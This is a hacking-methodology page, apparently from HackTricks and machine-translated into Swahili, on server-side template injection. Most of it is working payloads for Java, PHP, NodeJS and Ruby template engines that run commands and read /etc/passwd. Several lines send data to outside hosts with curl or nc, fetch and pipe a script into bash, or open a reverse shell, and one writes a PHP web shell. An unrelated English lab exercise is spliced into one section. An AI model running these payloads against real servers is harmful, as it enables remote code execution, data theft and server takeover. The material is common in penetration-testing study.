45 KiB
SSTI (Uingizaji wa Kigeuzi wa Upande wa Seva)
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana katika HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
{% embed url="https://www.rootedcon.com/" %}
Ni nini SSTI (Uingizaji wa Kigeuzi wa Upande wa Seva)
Uingizaji wa kigeuzi wa upande wa seva ni udhaifu unapotokea wakati muhusika anaweza kuingiza nambari yenye nia mbaya katika kigeuzi kinachotekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
Jinja ni injini maarufu ya kigeuzi inayotumiwa katika maombi ya wavuti. Hebu tuchunguze mfano unaodhihirisha kificho dhaifu kutumia Jinja:
output = template.render(name=request.args.get('name'))
Katika msimbo huu wenye mapungufu, parameter ya name
kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kigezo kwa kutumia kazi ya render
. Hii inaweza kuruhusu mshambuliaji kuingiza msimbo wenye nia mbaya kwenye parameter ya name
, ikisababisha kutokea kwa uthibitishaji wa kigezo upande wa seva.
Kwa mfano, mshambuliaji anaweza kutengeneza ombi lenye mzigo kama huu:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Payload ya {{bad-stuff-here}}
imeingizwa kwenye parameter ya name
. Payload hii inaweza kuwa na maelekezo ya templeti ya Jinja ambayo inamruhusu muhusika kutekeleza nambari isiyo halali au kubadilisha injini ya templeti, hivyo kupata udhibiti wa seva.
Ili kuzuia udhaifu wa kuingiza templeti upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa mwingiliano wa mtumiaji unasafishwa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templeti. Kutekeleza ukaguzi wa mwingiliano na kutumia mbinu za kuepuka kulingana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
Uchunguzi
Kutambua Kuingiza Templeti Upande wa Seva (SSTI), kwanza, kufanya majaribio ya templeti ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (${{<%[%'"}}%\
) kwenye templeti na kuchambua tofauti katika majibu ya seva kati ya data ya kawaida na payload maalum hii. Viashiria vya udhaifu ni pamoja na:
- Kutoa makosa, kufunua udhaifu na labda injini ya templeti.
- Kutokuwepo kwa payload katika kioo, au sehemu zake kukosekana, ikimaanisha seva inaprocess tofauti kuliko data ya kawaida.
- Muktadha wa Nakala Ndogo: Tofautisha na XSS kwa kuangalia ikiwa seva inahesabu maelezo ya templeti (k.m.,
{{7*7}}
,${7*7}
). - Muktadha wa Nambari: Thibitisha udhaifu kwa kubadilisha vigezo vya mwingiliano. Kwa mfano, kubadilisha
greeting
katikahttp://tovuti-isio-salama.com/?greeting=data.username
kuona ikiwa matokeo ya seva ni ya kudumu au yanabadilika, kama vilegreeting=data.username}}hello
kurudisha jina la mtumiaji.
Hatua ya Kutambua
Kutambua injini ya templeti kunahusisha kuchambua ujumbe wa makosa au kufanya majaribio ya mwongozo wa lugha mbalimbali. Payload za kawaida zinazosababisha makosa ni pamoja na ${7/0}
, {{7/0}}
, na <%= 7/0 %>
. Kuchunguza majibu ya seva kwa shughuli za hisabati husaidia kugundua injini maalum ya templeti.
Zana
TInjA
skana ya SSTI + CSTI yenye ufanisi inayotumia polyglots mpya
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Mwongozo wa Uingizaji wa Kiolesura cha Mtumiaji
meza ya kuingiliana inayoonyesha polyglots ya uingizaji wa templeti yenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu zaidi za templeti.
Kudhibiti
Kijumla
Katika orodha ya maneno hii unaweza kupata vibadilishaji vilivyofafanuliwa katika mazingira ya baadhi ya injini zilizotajwa hapa chini:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Uingizaji wa Msingi
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Pata mazingira ya mfumo
${T(java.lang.System).getenv()}
Java - Pata /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Unaweza jaribu payloads zako kwenye https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Kizuizi la Sandbox
⚠️ inafanya kazi tu kwenye toleo la Freemarker chini ya 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Maelezo zaidi
- Katika sehemu ya FreeMarker ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Maelezo zaidi
- Katika sehemu ya Velocity ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Katika Thymeleaf, jaribio la kawaida la kutambua udhaifu wa SSTI ni uchambuzi ${7*7}
, ambao pia unatumika kwa injini hii ya kigezo. Kwa utekelezaji wa nambari mbali mbali kwa mbali, uchambuzi kama huu unaweza kutumika:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf inahitaji uchambuzi huu kuwekwa ndani ya sifa maalum. Hata hivyo, uchambuzi wa ndani unatambuliwa kwa maeneo mengine ya kigezo, kwa kutumia sintaksia kama [[...]]
au [(...)]
. Hivyo, uchambuzi rahisi wa jaribio la SSTI unaweza kuonekana kama [[${7*7}]]
.
Hata hivyo, uwezekano wa uchambuzi huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya msingi ya Thymeleaf haisaidii uundaji wa kigezo cha kudumu; mifano lazima iwe tayari. Watengenezaji wangepaswa kutekeleza TemplateResolver
yao wenyewe ili kuunda mifano kutoka kwa herufi kwa wakati halisi, jambo ambalo si la kawaida.
Thymeleaf pia inatoa uchambuzi wa awali wa uchambuzi, ambapo uchambuzi ndani ya mstari wa chini (__...__
) unapitiwa awali. Kipengele hiki kinaweza kutumika katika ujenzi wa uchambuzi, kama ilivyoonyeshwa katika nyaraka za Thymeleaf:
#{selection.__${sel.code}__}
Mfano wa Udhaifu katika Thymeleaf
Zingatia sehemu ifuatayo ya nambari, ambayo inaweza kuwa rahisi kwa shambulizi:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Hii inaonyesha kwamba ikiwa injini ya templeti inachakata vipimo hivi vibaya, inaweza kusababisha utekelezaji wa nambari kwa mbali kupata URL kama:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Maelezo zaidi
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Kupita kwenye vichujio
Inaweza kutumika mchanganyiko wa maneno ya kipekee, ikiwa ${...}
haifanyi kazi jaribu #{...}
, *{...}
, @{...}
au ~{...}
.
- Soma
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Skripti ya kubuni mzigo wa payload
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Maelezo Zaidi
Ubadilishaji wa Mwangaza wa Spring (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Toleo la zamani la Pebble ( < toleo 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Toleo jipya la Pebble:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava ni mradi wa chanzo wazi ulioendelezwa na Hubspot, unapatikana kwenye https://github.com/HubSpot/jinjava/
Jinjava - Utekelezaji wa Amri
Imesuluhishwa na https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Maelezo zaidi
Hubspot - HuBL (Java)
{% %}
mizizi ya taarifa{{ }}
mizizi ya maelezo{# #}
mizizi ya maoni{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Tafuta "com.hubspot.content.hubl.context.TemplateContextRequest" na ugundue mradi wa Jinjava kwenye Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Maelezo zaidi
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Lugha ya Uelekezaji (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama maboga yaliyosimamiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE kusaidia mawasiliano haya. Teknolojia muhimu za JavaEE zinazotumia EL ni pamoja na:
- JavaServer Faces (JSF): Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na hatua za nyuma zinazofanana.
- JavaServer Pages (JSP): EL hutumiwa katika JSP kwa kupata na kubadilisha data ndani ya kurasa za JSP, ikifanya iwe rahisi kuunganisha vipengele vya ukurasa kwenye data ya programu.
- Muktadha na Uingizaji wa Mahitaji kwa Java EE (CDI): EL inaunganisha na CDI kuruhusu mwingiliano laini kati ya safu ya wavuti na maboga yaliyosimamiwa, ikisimamia muundo wa programu zaidi kwa umakini.
Angalia ukurasa ufuatao kujifunza zaidi kuhusu utumiaji wa waendeshaji wa EL:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
Mipito ya Usimamizi wa Usalama ifuatayo ilitolewa kutoka kwenye makala hii.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Maelezo zaidi
- Katika sehemu ya Smarty ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Muundo wa templeti
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Maelezo zaidi
- Katika sehemu ya Twig na Twig (Sandboxed) ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates ni injini ya templeti asilia ya PHP, ikichota msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asilia wa PHP katika templeti, hivyo kuifanya iwe rahisi kwa watengenezaji wa PHP.
Msimamizi:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Muundo wa Ukurasa:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Muundo wa kigeuzi:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Maelezo zaidi
PHPlib na HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB ni sawa na PHPlib lakini imehamishwa kwa Pear.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
SSTI (Server-Side Template Injection)
Description
In this lab, you will learn how to identify and exploit Server-Side Template Injection (SSTI) vulnerability in a web application. SSTI occurs when an application allows user input to be evaluated as a template on the server-side. This can lead to remote code execution and a full compromise of the server.
Objective
Find and exploit the SSTI vulnerability in the authors.php
page to display the contents of the /etc/passwd
file.
Instructions
- Open the
authors.php
page in your browser. - Analyze the page to identify where user input is being used in a template.
- Craft a payload to exploit the SSTI vulnerability and display the contents of the
/etc/passwd
file. - Document the steps and the payload used to achieve the objective.
Happy hacking!
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Maelezo zaidi
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Maelezo zaidi
- Katika sehemu ya Jade ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate injini ya templeti ya PHP isiyokusanya, ambayo hutumia vitambulisho vya XML kugawa hati katika sehemu tofauti.
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Maelezo zaidi
Handlebars (NodeJS)
Ufuatiliaji wa Njia (maelezo zaidi hapa).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Kosa
- ${7*7} = ${7*7}
- Hakuna
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Maelezo zaidi
JsRender (NodeJS)
Kigezo | Maelezo |
---|---|
Thibitisha na toa matokeo | |
Thibitisha na toa matokeo yaliyofungwa kwenye HTML | |
Maoni | |
na | Ruhusu nambari (imelemazwa kwa chaguo-msingi) |
- = 49
Upande wa Mteja
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Upande wa Server
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Maelezo zaidi
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Mfano wa upande wa seva
var pugjs = require('pug');
home = pugjs.render(injected_page)
Maelezo zaidi
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Hakuna matokeo
- #{7*7} = #{7*7}
- {{console.log(1)}} = Kosa
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
Maelezo zaidi
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Maelezo zaidi
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Maelezo zaidi
Python
Angalia ukurasa ufuatao kujifunza mbinu za utekelezaji wa amri za kupita kwenye mifumo ya kinga katika python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
